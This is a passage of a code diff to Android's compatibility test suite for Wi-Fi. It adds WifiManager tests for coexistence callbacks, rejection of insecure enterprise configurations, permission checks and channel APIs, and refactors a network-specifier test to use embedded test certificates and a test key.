+    public class TestCoexCallback extends WifiManager.CoexCallback {
+        private Object mCoexLock;
+        private int mOnCoexUnsafeChannelChangedCount;
+        private List<CoexUnsafeChannel> mCoexUnsafeChannels;
+        private int mCoexRestrictions;
+
+        TestCoexCallback(Object lock) {
+            mCoexLock = lock;
+        }
+
+        @Override
+        public void onCoexUnsafeChannelsChanged(
+                    @NonNull List<CoexUnsafeChannel> unsafeChannels, int restrictions) {
+            synchronized (mCoexLock) {
+                mCoexUnsafeChannels = unsafeChannels;
+                mCoexRestrictions = restrictions;
+                mOnCoexUnsafeChannelChangedCount++;
+                mCoexLock.notify();
+            }
+        }
+
+        public int getOnCoexUnsafeChannelChangedCount() {
+            synchronized (mCoexLock) {
+                return mOnCoexUnsafeChannelChangedCount;
+            }
+        }
+
+        public List<CoexUnsafeChannel> getCoexUnsafeChannels() {
+            return mCoexUnsafeChannels;
+        }
+
+        public int getCoexRestrictions() {
+            return mCoexRestrictions;
+        }
+    }
+
+    /**
+     * Test that coex-related methods fail without the needed privileged permissions
+     */
+    // TODO(b/167575586): Wait for S SDK finalization to determine the final minSdkVersion
+    @SdkSuppress(minSdkVersion = 31, codeName = "S")
+    public void testCoexMethodsShouldFailNoPermission() {
+        if (!WifiFeature.isWifiSupported(getContext())) {
+            // skip the test if WiFi is not supported
+            return;
+        }
+
+        try {
+            mWifiManager.setCoexUnsafeChannels(Collections.emptyList(), 0);
+            fail("setCoexUnsafeChannels should not succeed - privileged call");
+        } catch (SecurityException e) {
+            // expected
+        }
+        final TestCoexCallback callback = new TestCoexCallback(mLock);
+        try {
+            mWifiManager.registerCoexCallback(mExecutor, callback);
+            fail("registerCoexCallback should not succeed - privileged call");
+        } catch (SecurityException e) {
+            // expected
+        }
+        try {
+            mWifiManager.unregisterCoexCallback(callback);
+            fail("unregisterCoexCallback should not succeed - privileged call");
+        } catch (SecurityException e) {
+            // expected
+        }
+    }
+
+    /**
+     * Test that coex-related methods succeed in setting the current unsafe channels and notifying
+     * the listener. Since the default coex algorithm may be enabled, no-op is also valid behavior.
+     */
+    // TODO(b/167575586): Wait for S SDK finalization to determine the final minSdkVersion
+    @SdkSuppress(minSdkVersion = 31, codeName = "S")
+    public void testListenOnCoexUnsafeChannels() {
+        if (!WifiFeature.isWifiSupported(getContext())) {
+            // skip the test if WiFi is not supported
+            return;
+        }
+
+        // These below API's only work with privileged permissions (obtained via shell identity
+        // for test)
+        UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        List<CoexUnsafeChannel> prevUnsafeChannels = null;
+        int prevRestrictions = -1;
+        try {
+            uiAutomation.adoptShellPermissionIdentity();
+            final TestCoexCallback callback = new TestCoexCallback(mLock);
+            final List<CoexUnsafeChannel> testUnsafeChannels = new ArrayList<>();
+            testUnsafeChannels.add(new CoexUnsafeChannel(WIFI_BAND_24_GHZ, 6));
+            final int testRestrictions = COEX_RESTRICTION_WIFI_DIRECT
+                    | COEX_RESTRICTION_SOFTAP | COEX_RESTRICTION_WIFI_AWARE;
+            synchronized (mLock) {
+                try {
+                    mWifiManager.registerCoexCallback(mExecutor, callback);
+                    // Callback should be called after registering
+                    mLock.wait(TEST_WAIT_DURATION_MS);
+                    assertEquals(1, callback.getOnCoexUnsafeChannelChangedCount());
+                    // Store the previous coex channels and set new coex channels
+                    prevUnsafeChannels = callback.getCoexUnsafeChannels();
+                    prevRestrictions = callback.getCoexRestrictions();
+                    mWifiManager.setCoexUnsafeChannels(testUnsafeChannels, testRestrictions);
+                    mLock.wait(TEST_WAIT_DURATION_MS);
+                    // Unregister callback and try setting again
+                    mWifiManager.unregisterCoexCallback(callback);
+                    mWifiManager.setCoexUnsafeChannels(testUnsafeChannels, testRestrictions);
+                    // Callback should not be called here since it was unregistered.
+                    mLock.wait(TEST_WAIT_DURATION_MS);
+                } catch (InterruptedException e) {
+                    fail("Thread interrupted unexpectedly while waiting on mLock");
+                }
+            }
+            if (callback.getOnCoexUnsafeChannelChangedCount() == 2) {
+                // Default algorithm disabled, setter should set the getter values.
+                assertEquals(testUnsafeChannels, callback.getCoexUnsafeChannels());
+                assertEquals(testRestrictions, callback.getCoexRestrictions());
+            } else if (callback.getOnCoexUnsafeChannelChangedCount() != 1) {
+                fail("Coex callback called " + callback.mOnCoexUnsafeChannelChangedCount
+                        + " times. Expected 0 or 1 calls." );
+            }
+        } finally {
+            // Reset the previous unsafe channels if we overrode them.
+            if (prevRestrictions != -1) {
+                mWifiManager.setCoexUnsafeChannels(prevUnsafeChannels, prevRestrictions);
+            }
+            uiAutomation.dropShellPermissionIdentity();
+        }
+    }
+
+
+    /**
+     * Verify that insecure WPA-Enterprise network configurations are rejected.
+     * TODO(b/167575586): Wait for S SDK finalization to determine the final minSdkVersion.
+     */
+    @SdkSuppress(minSdkVersion = 31, codeName = "S")
+    public void testInsecureEnterpriseConfigurationsRejected() throws Exception {
+        if (!WifiFeature.isWifiSupported(getContext())) {
+            // skip the test if WiFi is not supported
+            return;
+        }
+        WifiConfiguration wifiConfiguration = new WifiConfiguration();
+        wifiConfiguration.SSID = SSID1;
+        wifiConfiguration.setSecurityParams(WifiConfiguration.SECURITY_TYPE_EAP_WPA3_ENTERPRISE);
+        wifiConfiguration.enterpriseConfig.setEapMethod(WifiEnterpriseConfig.Eap.TTLS);
+        int networkId = INVALID_NETWORK_ID;
+
+        // These below API's only work with privileged permissions (obtained via shell identity
+        // for test)
+        UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        try {
+            uiAutomation.adoptShellPermissionIdentity();
+
+            // Verify that an insecure network is rejected
+            assertEquals(INVALID_NETWORK_ID, mWifiManager.addNetwork(wifiConfiguration));
+
+            // Now configure it correctly with a Root CA cert and domain name
+            wifiConfiguration.enterpriseConfig.setCaCertificate(FakeKeys.CA_CERT0);
+            wifiConfiguration.enterpriseConfig.setAltSubjectMatch(TEST_DOM_SUBJECT_MATCH);
+
+            // Verify that the network is added
+            networkId = mWifiManager.addNetwork(wifiConfiguration);
+            assertNotEquals(INVALID_NETWORK_ID, networkId);
+
+            // Verify that the update API accepts configurations configured securely
+            wifiConfiguration.networkId = networkId;
+            assertEquals(networkId, mWifiManager.updateNetwork(wifiConfiguration));
+
+            // Now clear the security configuration
+            wifiConfiguration.enterpriseConfig.setCaCertificate(null);
+            wifiConfiguration.enterpriseConfig.setAltSubjectMatch(null);
+
+            // Verify that the update API rejects insecure configurations
+            assertEquals(INVALID_NETWORK_ID, mWifiManager.updateNetwork(wifiConfiguration));
+        } finally {
+            if (networkId != INVALID_NETWORK_ID) {
+                // Clean up the previously added network
+                mWifiManager.removeNetwork(networkId);
+            }
+            uiAutomation.dropShellPermissionIdentity();
+        }
+    }
+
+    /**
+     * Tests {@link WifiManager#isPasspointTermsAndConditionsSupported)} does not crash.
+     * TODO(b/167575586): Wait for S SDK finalization to determine the final minSdkVersion.
+     */
+    @SdkSuppress(minSdkVersion = 31, codeName = "S")
+    public void testIsPasspointTermsAndConditionsSupported() throws Exception {
+        if (!WifiFeature.isWifiSupported(getContext())) {
+            // skip the test if WiFi is not supported
+            return;
+        }
+        mWifiManager.isPasspointTermsAndConditionsSupported();
+    }
+
+    /**
+     * Test that {@link WifiManager#setOverrideCountryCode()},
+     * {@link WifiManager#clearOverrideCountryCode()} and
+     * {@link WifiManager#setDefaultCountryCode()}
+     * throws UnsupportedOperationException if the release is older than S.
+     */
+    // TODO(b/167575586): Wait for S SDK finalization before changing
+    // to `maxSdkVersion = Build.VERSION_CODES.R`
+    @SdkSuppress(maxSdkVersion = -1, codeName = "REL")
+    public void testManageCountryCodeMethodsOnROrOlder() throws Exception {
+        if (!WifiFeature.isWifiSupported(getContext())) {
+            // skip the test if WiFi is not supported
+            return;
+        }
+        try {
+            mWifiManager.setOverrideCountryCode(TEST_COUNTRY_CODE);
+            fail("setOverrideCountryCode() Expected to fail - UnsupportedOperationException");
+        } catch (UnsupportedOperationException ex) {}
+
+        try {
+            mWifiManager.clearOverrideCountryCode();
+            fail("clearOverrideCountryCode() Expected to fail - UnsupportedOperationException");
+        } catch (UnsupportedOperationException ex) {}
+
+        try {
+            mWifiManager.setDefaultCountryCode(TEST_COUNTRY_CODE);
+            fail("setDefaultCountryCode() Expected to fail - UnsupportedOperationException");
+        } catch (UnsupportedOperationException ex) {}
+    }
+
+    /**
+     * Test that call to {@link WifiManager#setOverrideCountryCode()},
+     * {@link WifiManager#clearOverrideCountryCode()} and
+     * {@link WifiManager#setDefaultCountryCode()} need privileged permission
+     * and the permission is not even given to shell user.
+     */
+    // TODO(b/167575586): Wait for S SDK finalization to determine the final minSdkVersion
+    @SdkSuppress(minSdkVersion = 31, codeName = "S")
+    public void testManageCountryCodeMethodsFailWithoutPermissions() throws Exception {
+        if (!WifiFeature.isWifiSupported(getContext())) {
+            // skip the test if WiFi is not supported
+            return;
+        }
+        ShellIdentityUtils.invokeWithShellPermissions(() -> {
+            try {
+                mWifiManager.setOverrideCountryCode(TEST_COUNTRY_CODE);
+                fail("setOverrideCountryCode() expected to fail - privileged call");
+            } catch (SecurityException e) {
+                // expected
+            }
+
+            try {
+                mWifiManager.clearOverrideCountryCode();
+                fail("clearOverrideCountryCode() expected to fail - privileged call");
+            } catch (SecurityException e) {
+                // expected
+            }
+
+            try {
+                mWifiManager.setDefaultCountryCode(TEST_COUNTRY_CODE);
+                fail("setDefaultCountryCode() expected to fail - privileged call");
+            } catch (SecurityException e) {
+                // expected
+            }
+        });
+    }
+
+    /**
+     * Tests {@link WifiManager#flushPasspointAnqpCache)} does not crash.
+     * TODO(b/167575586): Wait for S SDK finalization to determine the final minSdkVersion.
+     */
+    @SdkSuppress(minSdkVersion = 31, codeName = "S")
+    public void testFlushPasspointAnqpCache() throws Exception {
+        if (!WifiFeature.isWifiSupported(getContext())) {
+            // skip the test if WiFi is not supported
+            return;
+        }
+        // The below API only works with privileged permissions (obtained via shell identity
+        // for test)
+        UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        try {
+            uiAutomation.adoptShellPermissionIdentity();
+            mWifiManager.flushPasspointAnqpCache();
+        } finally {
+            uiAutomation.dropShellPermissionIdentity();
+        }
+    }
+
+    /**
+     * Tests {@link WifiManager#isDecoratedIdentitySupported)} does not crash.
+     * TODO(b/167575586): Wait for S SDK finalization to determine the final minSdkVersion.
+     */
+    @SdkSuppress(minSdkVersion = 31, codeName = "S")
+    public void testIsDecoratedIdentitySupported() throws Exception {
+        if (!WifiFeature.isWifiSupported(getContext())) {
+            // skip the test if WiFi is not supported
+            return;
+        }
+        mWifiManager.isDecoratedIdentitySupported();
+    }
+
+    /**
+     * Tests {@link WifiManager#setCarrierNetworkOffloadEnabled)} and
+     * {@link WifiManager#isCarrierNetworkOffloadEnabled} work as expected.
+     * TODO(b/167575586): Wait for S SDK finalization to determine the final minSdkVersion.
+     */
+    @SdkSuppress(minSdkVersion = 31, codeName = "S")
+    public void testSetCarrierNetworkOffloadEnabled() throws Exception {
+        if (!WifiFeature.isWifiSupported(getContext())) {
+            // skip the test if WiFi is not supported
+            return;
+        }
+        assertTrue(mWifiManager.isCarrierNetworkOffloadEnabled(TEST_SUB_ID, false));
+        // The below API only works with privileged permissions (obtained via shell identity
+        // for test)
+        UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        try {
+            uiAutomation.adoptShellPermissionIdentity();
+            mWifiManager.setCarrierNetworkOffloadEnabled(TEST_SUB_ID, false, false);
+            assertFalse(mWifiManager.isCarrierNetworkOffloadEnabled(TEST_SUB_ID, false));
+            mWifiManager.setCarrierNetworkOffloadEnabled(TEST_SUB_ID, false, true);
+        } finally {
+            uiAutomation.dropShellPermissionIdentity();
+        }
+        assertTrue(mWifiManager.isCarrierNetworkOffloadEnabled(TEST_SUB_ID, false));
+    }
+
+   /**
+     * Test that {@link WifiManager#getUsableChannels(int, int)},
+     * {@link WifiManager#getAllowedChannels(int, int)}
+     * throws UnsupportedOperationException if the release is older than S.
+     */
+    // TODO(b/167575586): Wait for S SDK finalization before changing
+    // to `maxSdkVersion = Build.VERSION_CODES.R`
+    @SdkSuppress(maxSdkVersion = -1, codeName = "REL")
+    public void testGetAllowedUsableChannelsOnROrOlder() throws Exception {
+        if (!WifiFeature.isWifiSupported(getContext())) {
+            // skip the test if WiFi is not supported
+            return;
+        }
+        try {
+            mWifiManager.getAllowedChannels(WIFI_BAND_24_GHZ, OP_MODE_STA);
+            fail("getAllowedChannels Expected to fail - UnsupportedOperationException");
+        } catch (UnsupportedOperationException ex) {}
+
+        try {
+            mWifiManager.getUsableChannels(WIFI_BAND_24_GHZ, OP_MODE_STA);
+            fail("getUsableChannels Expected to fail - UnsupportedOperationException");
+        } catch (UnsupportedOperationException ex) {}
+    }
+
+    /**
+     * Tests {@link WifiManager#getAllowedChannels(int, int))} does not crash
+     * TODO(b/167575586): Wait for S SDK finalization to determine the final minSdkVersion.
+     */
+    @SdkSuppress(minSdkVersion = 31, codeName = "S")
+    public void testGetAllowedChannels() throws Exception {
+        if (!WifiFeature.isWifiSupported(getContext())) {
+            // skip the test if WiFi is not supported
+            return;
+        }
+        // The below API only works with privileged permissions (obtained via shell identity
+        // for test)
+        UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        try {
+            uiAutomation.adoptShellPermissionIdentity();
+            mWifiManager.getAllowedChannels(WIFI_BAND_24_GHZ, OP_MODE_STA);
+        } catch (UnsupportedOperationException ex) {
+            //expected if the device does not support this API
+        } catch (Exception ex) {
+            fail("getAllowedChannels unexpected Exception");
+        } finally {
+            uiAutomation.dropShellPermissionIdentity();
+        }
+    }
+
+    /**
+     * Tests {@link WifiManager#getUsableChannels(int, int))} does not crash.
+     * TODO(b/167575586): Wait for S SDK finalization to determine the final minSdkVersion.
+     */
+    @SdkSuppress(minSdkVersion = 31, codeName = "S")
+    public void testGetUsableChannels() throws Exception {
+        if (!WifiFeature.isWifiSupported(getContext())) {
+            // skip the test if WiFi is not supported
+            return;
+        }
+        // The below API only works with privileged permissions (obtained via shell identity
+        // for test)
+        UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        try {
+            uiAutomation.adoptShellPermissionIdentity();
+            mWifiManager.getUsableChannels(WIFI_BAND_24_GHZ, OP_MODE_STA);
+        } catch (UnsupportedOperationException ex) {
+            //expected if the device does not support this API
+        } catch (Exception ex) {
+            fail("getUsableChannels unexpected Exception");
+        } finally {
+            uiAutomation.dropShellPermissionIdentity();
+        }
+    }
 }
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/WifiNetworkSpecifierTest.java b/tests/tests/wifi/src/android/net/wifi/cts/WifiNetworkSpecifierTest.java
index 2fb377d..02aa03d 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/WifiNetworkSpecifierTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/WifiNetworkSpecifierTest.java
@@ -16,38 +16,26 @@
 
 package android.net.wifi.cts;
 
-import static android.net.NetworkCapabilities.TRANSPORT_WIFI;
 import static android.os.Process.myUid;
 
 import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
 
-import static junit.framework.TestCase.assertFalse;
-
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.fail;
 import static org.junit.Assume.assumeTrue;
 
-import android.app.UiAutomation;
+import android.annotation.NonNull;
 import android.content.Context;
 import android.net.ConnectivityManager;
-import android.net.LinkProperties;
 import android.net.MacAddress;
-import android.net.Network;
-import android.net.NetworkCapabilities;
 import android.net.NetworkRequest;
-import android.net.wifi.ScanResult;
 import android.net.wifi.WifiConfiguration;
 import android.net.wifi.WifiEnterpriseConfig;
 import android.net.wifi.WifiInfo;
 import android.net.wifi.WifiManager;
-import android.net.wifi.WifiManager.NetworkRequestMatchCallback;
 import android.net.wifi.WifiNetworkSpecifier;
 import android.os.PatternMatcher;
-import android.os.WorkSource;
 import android.platform.test.annotations.AppModeFull;
 import android.support.test.uiautomator.UiDevice;
-import android.text.TextUtils;
 
 import androidx.test.filters.SmallTest;
 import androidx.test.platform.app.InstrumentationRegistry;
@@ -55,7 +43,6 @@
 
 import com.android.compatibility.common.util.PollingCheck;
 import com.android.compatibility.common.util.ShellIdentityUtils;
-import com.android.compatibility.common.util.SystemUtil;
 
 import org.junit.After;
 import org.junit.AfterClass;
@@ -64,8 +51,17 @@
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
+import java.io.ByteArrayInputStream;
+import java.io.InputStream;
+import java.nio.charset.StandardCharsets;
+import java.security.KeyFactory;
+import java.security.NoSuchAlgorithmException;
+import java.security.PrivateKey;
+import java.security.cert.CertificateFactory;
+import java.security.cert.X509Certificate;
+import java.security.spec.InvalidKeySpecException;
+import java.security.spec.PKCS8EncodedKeySpec;
 import java.util.List;
-import java.util.concurrent.Executors;
 
 /**
  * Tests the entire connection flow using {@link WifiNetworkSpecifier} embedded in a
@@ -73,7 +69,6 @@
  * ConnectivityManager.NetworkCallback)}.
  *
  * Assumes that all the saved networks is either open/WPA1/WPA2/WPA3 authenticated network.
- * TODO(b/150716005): Use assumeTrue for wifi support check.
  */
 @AppModeFull(reason = "Cannot get WifiManager in instant app mode")
 @SmallTest
@@ -81,6 +76,99 @@
 public class WifiNetworkSpecifierTest extends WifiJUnit4TestBase {
     private static final String TAG = "WifiNetworkSpecifierTest";
 
+    private static final String CA_SUITE_B_ECDSA_CERT_STRING =
+            "-----BEGIN CERTIFICATE-----\n"
+                    + "MIICTzCCAdSgAwIBAgIUdnLttwNPnQzFufplGOr9bTrGCqMwCgYIKoZIzj0EAwMw\n"
+                    + "XjELMAkGA1UEBhMCVVMxCzAJBgNVBAgMAkNBMQwwCgYDVQQHDANNVFYxEDAOBgNV\n"
+                    + "BAoMB0FuZHJvaWQxDjAMBgNVBAsMBVdpLUZpMRIwEAYDVQQDDAl1bml0ZXN0Q0Ew\n"
+                    + "HhcNMjAwNzIxMDIyNDA1WhcNMzAwNTMwMDIyNDA1WjBeMQswCQYDVQQGEwJVUzEL\n"
+                    + "MAkGA1UECAwCQ0ExDDAKBgNVBAcMA01UVjEQMA4GA1UECgwHQW5kcm9pZDEOMAwG\n"
+                    + "A1UECwwFV2ktRmkxEjAQBgNVBAMMCXVuaXRlc3RDQTB2MBAGByqGSM49AgEGBSuB\n"
+                    + "BAAiA2IABFmntXwk9icqhDQFUP1xy04WyEpaGW4q6Q+8pujlSl/X3iotPZ++GZfp\n"
+                    + "Mfv3YDHDBl6sELPQ2BEjyPXmpsKjOUdiUe69e88oGEdeqT2xXiQ6uzpTfJD4170i\n"
+                    + "O/TwLrQGKKNTMFEwHQYDVR0OBBYEFCjptsX3g4g5W0L4oEP6N3gfyiZXMB8GA1Ud\n"
+                    + "IwQYMBaAFCjptsX3g4g5W0L4oEP6N3gfyiZXMA8GA1UdEwEB/wQFMAMBAf8wCgYI\n"
+                    + "KoZIzj0EAwMDaQAwZgIxAK61brUYRbLmQKiaEboZgrHtnPAcGo7Yzx3MwHecx3Dm\n"
+                    + "5soIeLVYc8bPYN1pbhXW1gIxALdEe2sh03nBHyQH4adYoZungoCwt8mp/7sJFxou\n"
+                    + "9UnRegyBgGzf74ROWdpZHzh+Pg==\n"
+                    + "-----END CERTIFICATE-----\n";
+    public static final X509Certificate CA_SUITE_B_ECDSA_CERT =
+            loadCertificate(CA_SUITE_B_ECDSA_CERT_STRING);
+
+    private static final String CLIENT_SUITE_B_ECDSA_CERT_STRING =
+            "-----BEGIN CERTIFICATE-----\n"
+                    + "MIIB9zCCAX4CFDpfSZh3AH07BEfGWuMDa7Ynz6y+MAoGCCqGSM49BAMDMF4xCzAJ\n"
+                    + "BgNVBAYTAlVTMQswCQYDVQQIDAJDQTEMMAoGA1UEBwwDTVRWMRAwDgYDVQQKDAdB\n"
+                    + "bmRyb2lkMQ4wDAYDVQQLDAVXaS1GaTESMBAGA1UEAwwJdW5pdGVzdENBMB4XDTIw\n"
+                    + "MDcyMTAyMjk1MFoXDTMwMDUzMDAyMjk1MFowYjELMAkGA1UEBhMCVVMxCzAJBgNV\n"
+                    + "BAgMAkNBMQwwCgYDVQQHDANNVFYxEDAOBgNVBAoMB0FuZHJvaWQxDjAMBgNVBAsM\n"
+                    + "BVdpLUZpMRYwFAYDVQQDDA11bml0ZXN0Q2xpZW50MHYwEAYHKoZIzj0CAQYFK4EE\n"
+                    + "ACIDYgAEhxhVJ7dcSqrto0X+dgRxtd8BWG8cWmPjBji3MIxDLfpcMDoIB84ae1Ew\n"
+                    + "gJn4YUYHrWsUDiVNihv8j7a/Ol1qcIY2ybH7tbezefLmagqA4vXEUXZXoUyL4ZNC\n"
+                    + "DWcdw6LrMAoGCCqGSM49BAMDA2cAMGQCMH4aP73HrriRUJRguiuRic+X4Cqj/7YQ\n"
+                    + "ueJmP87KF92/thhoQ9OrRo8uJITPmNDswwIwP2Q1AZCSL4BI9dYrqu07Ar+pSkXE\n"
+                    + "R7oOqGdZR+d/MvXcFSrbIaLKEoHXmQamIHLe\n"
+                    + "-----END CERTIFICATE-----\n";
+    public static final X509Certificate CLIENT_SUITE_B_ECDSA_CERT =
+            loadCertificate(CLIENT_SUITE_B_ECDSA_CERT_STRING);
+
+    private static final byte[] CLIENT_SUITE_B_ECC_KEY_DATA = new byte[]{
+            (byte) 0x30, (byte) 0x81, (byte) 0xb6, (byte) 0x02, (byte) 0x01, (byte) 0x00,
+            (byte) 0x30, (byte) 0x10, (byte) 0x06, (byte) 0x07, (byte) 0x2a, (byte) 0x86,
+            (byte) 0x48, (byte) 0xce, (byte) 0x3d, (byte) 0x02, (byte) 0x01, (byte) 0x06,
+            (byte) 0x05, (byte) 0x2b, (byte) 0x81, (byte) 0x04, (byte) 0x00, (byte) 0x22,
+            (byte) 0x04, (byte) 0x81, (byte) 0x9e, (byte) 0x30, (byte) 0x81, (byte) 0x9b,
+            (byte) 0x02, (byte) 0x01, (byte) 0x01, (byte) 0x04, (byte) 0x30, (byte) 0xea,
+            (byte) 0x6c, (byte) 0x4b, (byte) 0x6d, (byte) 0x43, (byte) 0xf9, (byte) 0x6c,
+            (byte) 0x91, (byte) 0xdc, (byte) 0x2d, (byte) 0x6e, (byte) 0x87, (byte) 0x4f,
+            (byte) 0x0a, (byte) 0x0b, (byte) 0x97, (byte) 0x25, (byte) 0x1c, (byte) 0x79,
+            (byte) 0xa2, (byte) 0x07, (byte) 0xdc, (byte) 0x94, (byte) 0xc2, (byte) 0xee,
+            (byte) 0x64, (byte) 0x51, (byte) 0x6d, (byte) 0x4e, (byte) 0x35, (byte) 0x1c,
+            (byte) 0x22, (byte) 0x2f, (byte) 0xc0, (byte) 0xea, (byte) 0x09, (byte) 0x47,
+            (byte) 0x3e, (byte) 0xb9, (byte) 0xb6, (byte) 0xb8, (byte) 0x83, (byte) 0x9e,
+            (byte) 0xed, (byte) 0x59, (byte) 0xe5, (byte) 0xe7, (byte) 0x0f, (byte) 0xa1,
+            (byte) 0x64, (byte) 0x03, (byte) 0x62, (byte) 0x00, (byte) 0x04, (byte) 0x87,
+            (byte) 0x18, (byte) 0x55, (byte) 0x27, (byte) 0xb7, (byte) 0x5c, (byte) 0x4a,
+            (byte) 0xaa, (byte) 0xed, (byte) 0xa3, (byte) 0x45, (byte) 0xfe, (byte) 0x76,
+            (byte) 0x04, (byte) 0x71, (byte) 0xb5, (byte) 0xdf, (byte) 0x01, (byte) 0x58,
+            (byte) 0x6f, (byte) 0x1c, (byte) 0x5a, (byte) 0x63, (byte) 0xe3, (byte) 0x06,
+            (byte) 0x38, (byte) 0xb7, (byte) 0x30, (byte) 0x8c, (byte) 0x43, (byte) 0x2d,
+            (byte) 0xfa, (byte) 0x5c, (byte) 0x30, (byte) 0x3a, (byte) 0x08, (byte) 0x07,
+            (byte) 0xce, (byte) 0x1a, (byte) 0x7b, (byte) 0x51, (byte) 0x30, (byte) 0x80,
+            (byte) 0x99, (byte) 0xf8, (byte) 0x61, (byte) 0x46, (byte) 0x07, (byte) 0xad,
+            (byte) 0x6b, (byte) 0x14, (byte) 0x0e, (byte) 0x25, (byte) 0x4d, (byte) 0x8a,
+            (byte) 0x1b, (byte) 0xfc, (byte) 0x8f, (byte) 0xb6, (byte) 0xbf, (byte) 0x3a,
+            (byte) 0x5d, (byte) 0x6a, (byte) 0x70, (byte) 0x86, (byte) 0x36, (byte) 0xc9,
+            (byte) 0xb1, (byte) 0xfb, (byte) 0xb5, (byte) 0xb7, (byte) 0xb3, (byte) 0x79,
+            (byte) 0xf2, (byte) 0xe6, (byte) 0x6a, (byte) 0x0a, (byte) 0x80, (byte) 0xe2,
+            (byte) 0xf5, (byte) 0xc4, (byte) 0x51, (byte) 0x76, (byte) 0x57, (byte) 0xa1,
+            (byte) 0x4c, (byte) 0x8b, (byte) 0xe1, (byte) 0x93, (byte) 0x42, (byte) 0x0d,
+            (byte) 0x67, (byte) 0x1d, (byte) 0xc3, (byte) 0xa2, (byte) 0xeb
+    };
+    public static final PrivateKey CLIENT_SUITE_B_ECC_KEY =
+            loadPrivateKey("EC", CLIENT_SUITE_B_ECC_KEY_DATA);
+
+    private static X509Certificate loadCertificate(String blob) {
+        try {
+            final CertificateFactory certFactory = CertificateFactory.getInstance("X.509");
+            InputStream stream = new ByteArrayInputStream(blob.getBytes(StandardCharsets.UTF_8));
+
+            return (X509Certificate) certFactory.generateCertificate(stream);
+        } catch (Exception e) {
+            e.printStackTrace();
+            return null;
+        }
+    }
+
+    private static PrivateKey loadPrivateKey(String algorithm, byte[] fakeKey) {
+        try {
+            KeyFactory kf = KeyFactory.getInstance(algorithm);
+            return kf.generatePrivate(new PKCS8EncodedKeySpec(fakeKey));
+        } catch (InvalidKeySpecException | NoSuchAlgorithmException e) {
+            return null;
+        }
+    }
+
     private static boolean sWasVerboseLoggingEnabled;
     private static boolean sWasScanThrottleEnabled;
 
@@ -88,25 +176,20 @@
     private WifiManager mWifiManager;
     private ConnectivityManager mConnectivityManager;
     private UiDevice mUiDevice;
-    private final Object mLock = new Object();
-    private final Object mUiLock = new Object();
     private WifiConfiguration mTestNetwork;
-    private TestNetworkCallback mNetworkCallback;
+    private ConnectivityManager.NetworkCallback mNrNetworkCallback;
+    private TestHelper mTestHelper;
 
     private static final int DURATION = 10_000;
-    private static final int DURATION_UI_INTERACTION = 25_000;
-    private static final int DURATION_NETWORK_CONNECTION = 60_000;
-    private static final int DURATION_SCREEN_TOGGLE = 2000;
-    private static final int SCAN_RETRY_CNT_TO_FIND_MATCHING_BSSID = 3;
 
     @BeforeClass
     public static void setUpClass() throws Exception {
         Context context = InstrumentationRegistry.getInstrumentation().getContext();
         // skip the test if WiFi is not supported
-        assumeTrue(WifiFeature.isWifiSupported(context));
+        if (!WifiFeature.isWifiSupported(context)) return;
 
-        WifiManager wifiManager = (WifiManager) context.getSystemService(Context.WIFI_SERVICE);
-        assertNotNull(wifiManager);
+        WifiManager wifiManager = context.getSystemService(WifiManager.class);
+        assertThat(wifiManager).isNotNull();
 
         // turn on verbose logging for tests
         sWasVerboseLoggingEnabled = ShellIdentityUtils.invokeWithShellPermissions(
@@ -120,19 +203,35 @@
                 () -> wifiManager.setScanThrottleEnabled(false));
 
         // enable Wifi
-        if (!wifiManager.isWifiEnabled()) setWifiEnabled(true);
+        if (!wifiManager.isWifiEnabled()) {
+            ShellIdentityUtils.invokeWithShellPermissions(() -> wifiManager.setWifiEnabled(true));
+        }
         PollingCheck.check("Wifi not enabled", DURATION, () -> wifiManager.isWifiEnabled());
 
         // check we have >= 1 saved network
         List<WifiConfiguration> savedNetworks = ShellIdentityUtils.invokeWithShellPermissions(
                 () -> wifiManager.getPrivilegedConfiguredNetworks());
-        assertFalse("Need at least one saved network", savedNetworks.isEmpty());
+        assertWithMessage("Need at least one saved network")
+                .that(savedNetworks.isEmpty()).isFalse();
 
         // Disconnect & disable auto-join on the saved network to prevent auto-connect from
         // interfering with the test.
+        disableAllSavedNetworks(wifiManager);
+    }
+
+    private static void enableAllSavedNetworks(@NonNull WifiManager wifiManager) {
         ShellIdentityUtils.invokeWithShellPermissions(
                 () -> {
-                    for (WifiConfiguration savedNetwork : savedNetworks) {
+                    for (WifiConfiguration savedNetwork : wifiManager.getConfiguredNetworks()) {
+                        wifiManager.enableNetwork(savedNetwork.networkId, false);
+                    }
+                });
+    }
+
+    private static void disableAllSavedNetworks(@NonNull WifiManager wifiManager) {
+        ShellIdentityUtils.invokeWithShellPermissions(
+                () -> {
+                    for (WifiConfiguration savedNetwork : wifiManager.getConfiguredNetworks()) {
                         wifiManager.disableNetwork(savedNetwork.networkId);
                     }
                 });
@@ -143,18 +242,16 @@
         Context context = InstrumentationRegistry.getInstrumentation().getContext();
         if (!WifiFeature.isWifiSupported(context)) return;
 
-        WifiManager wifiManager = (WifiManager) context.getSystemService(Context.WIFI_SERVICE);
-        assertNotNull(wifiManager);
+        WifiManager wifiManager = context.getSystemService(WifiManager.class);
+        assertThat(wifiManager).isNotNull();
 
-        if (!wifiManager.isWifiEnabled()) setWifiEnabled(true);
+        if (!wifiManager.isWifiEnabled()) {
+            ShellIdentityUtils.invokeWithShellPermissions(() -> wifiManager.setWifiEnabled(true));
+        }
 
         // Re-enable networks.
-        ShellIdentityUtils.invokeWithShellPermissions(
-                () -> {
-                    for (WifiConfiguration savedNetwork : wifiManager.getConfiguredNetworks()) {
-                        wifiManager.enableNetwork(savedNetwork.networkId, false);
-                    }
-                });
+        enableAllSavedNetworks(wifiManager);
+
         ShellIdentityUtils.invokeWithShellPermissions(
                 () -> wifiManager.setScanThrottleEnabled(sWasScanThrottleEnabled));
         ShellIdentityUtils.invokeWithShellPermissions(
